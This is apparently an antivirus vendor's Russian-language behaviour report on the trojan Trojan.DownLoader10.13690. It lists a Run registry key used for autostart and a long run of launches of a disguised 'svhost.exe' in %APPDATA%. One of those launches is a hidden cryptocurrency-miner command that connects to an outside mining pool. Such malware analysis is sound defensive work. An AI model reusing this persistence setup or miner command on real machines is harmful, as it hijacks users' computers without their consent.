Trojan.DownLoader10.13690

Техническая информация

Для обеспечения автозапуска и распространения:

Модифицирует следующие ключи реестра:

[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'Winupdate' = '%APPDATA%\Winupdate\vsvhost.exe'

Вредоносные функции:

Создает и запускает на исполнение:

'%APPDATA%\Winupdate\svhost.exe' /pid=3608
'%APPDATA%\Winupdate\svhost.exe' /pid=5116
'%APPDATA%\Winupdate\svhost.exe' /pid=4008
'%APPDATA%\Winupdate\svhost.exe' /pid=6028
'%APPDATA%\Winupdate\svhost.exe' /pid=2920
'%APPDATA%\Winupdate\svhost.exe' /pid=5696
'%APPDATA%\Winupdate\svhost.exe' /pid=4868
'%APPDATA%\Winupdate\svhost.exe' /pid=5248
'%APPDATA%\Winupdate\svhost.exe' /pid=4536
'%APPDATA%\Winupdate\svhost.exe' /pid=4316
'%APPDATA%\Winupdate\svhost.exe' /pid=5976
'%APPDATA%\Winupdate\svhost.exe' /pid=5788
'%APPDATA%\Winupdate\svhost.exe' /pid=5496
'%APPDATA%\Winupdate\svhost.exe' /pid=5356
'%APPDATA%\Winupdate\svhost.exe' /pid=5816
'%APPDATA%\Winupdate\svhost.exe' /pid=3340
'%APPDATA%\Winupdate\svhost.exe' /pid=2688
'%APPDATA%\Winupdate\svhost.exe' /pid=2136
'%APPDATA%\Winupdate\svhost.exe' /pid=4956
'%APPDATA%\Winupdate\svhost.exe' /pid=728
'%APPDATA%\Winupdate\svhost.exe' /pid=5928
'%APPDATA%\Winupdate\svhost.exe' /pid=4516
'%APPDATA%\Winupdate\svhost.exe' /pid=4436
'%APPDATA%\Winupdate\svhost.exe' /pid=2940
'%APPDATA%\Winupdate\svhost.exe' /pid=5668
'%APPDATA%\Winupdate\svhost.exe' /pid=5196
'%APPDATA%\Winupdate\svhost.exe' /pid=216
'%APPDATA%\Winupdate\svhost.exe' /pid=4152
'%APPDATA%\Winupdate\svhost.exe' /pid=3348
'%APPDATA%\Winupdate\svhost.exe' /pid=6128
'%APPDATA%\Winupdate\svhost.exe' /pid=2496
'%APPDATA%\Winupdate\svhost.exe' /pid=3720
'%APPDATA%\Winupdate\svhost.exe' /pid=4636
'%APPDATA%\Winupdate\svhost.exe' /pid=896
'%APPDATA%\Winupdate\svhost.exe' /pid=5228
'%APPDATA%\Winupdate\svhost.exe' /pid=2200
'%APPDATA%\Winupdate\svhost.exe' /pid=2828
'%APPDATA%\Winupdate\svhost.exe' /pid=3300
'%APPDATA%\Winupdate\svhost.exe' /pid=3400
'%APPDATA%\Winupdate\svhost.exe' /pid=5436
'%APPDATA%\Winupdate\svhost.exe' /pid=3900
'%APPDATA%\Winupdate\svhost.exe' /pid=4568
'%APPDATA%\Winupdate\svhost.exe' /pid=4336
'%APPDATA%\Winupdate\svhost.exe' /pid=4132
'%APPDATA%\Winupdate\svhost.exe' /pid=4936
'%APPDATA%\Winupdate\svhost.exe' /pid=3820
'%APPDATA%\Winupdate\svhost.exe' /pid=3028
'%APPDATA%\Winupdate\svhost.exe' /pid=5516
'%APPDATA%\Winupdate\svhost.exe' /pid=5088
'%APPDATA%\Winupdate\svhost.exe' /pid=5536
'%APPDATA%\Winupdate\svhost.exe' /pid=2704
'%APPDATA%\Winupdate\svhost.exe' /pid=3220
'%APPDATA%\Winupdate\svhost.exe' /pid=5888
'%APPDATA%\Winupdate\svhost.exe' /pid=5036
'%APPDATA%\Winupdate\svhost.exe' /pid=5548
'%APPDATA%\Winupdate\svhost.exe' -a sha256 -o http://Mi############rker2:1234@eu.triplemining.com:8344 -T 83 -l yes -t 1
'%APPDATA%\Winupdate\svhost.exe' /pid=5388
'%APPDATA%\Winupdate\svhost.exe' /pid=304
'%APPDATA%\Winupdate\svhost.exe' /pid=3920
'%APPDATA%\Winupdate\svhost.exe' /pid=4688
'%APPDATA%\Winupdate\svhost.exe' /pid=6048
'%APPDATA%\Winupdate\svhost.exe' /pid=4184
'%APPDATA%\Winupdate\svhost.exe' /pid=5396
'%APPDATA%\Winupdate\svhost.exe' /pid=4288
'%APPDATA%\Winupdate\svhost.exe' /pid=4388
'%APPDATA%\Winupdate\svhost.exe' /pid=4508
'%APPDATA%\Winupdate\svhost.exe' /pid=3420
'%APPDATA%\Winupdate\svhost.exe' /pid=3200
'%APPDATA%\Winupdate\svhost.exe' /pid=5556
'%APPDATA%\Winupdate\svhost.exe' /pid=5736
'%APPDATA%\Winupdate\svhost.exe' /pid=5336
'%APPDATA%\Winupdate\svhost.exe' /pid=3648
'%APPDATA%\Winupdate\svhost.exe' /pid=5708
'%APPDATA%\Winupdate\svhost.exe' /pid=5528
'%APPDATA%\Winupdate\svhost.exe' /pid=5916
'%APPDATA%\Winupdate\svhost.exe' /pid=5468
'%APPDATA%\Winupdate\svhost.exe' /pid=5368
'%APPDATA%\Winupdate\svhost.exe' /pid=3540
'%APPDATA%\Winupdate\svhost.exe' /pid=3440
'%APPDATA%\Winupdate\svhost.exe' /pid=4456
'%APPDATA%\Winupdate\svhost.exe' /pid=5588
'%APPDATA%\Winupdate\svhost.exe' /pid=6056
'%APPDATA%\Winupdate\svhost.exe' (загружен из сети Интернет)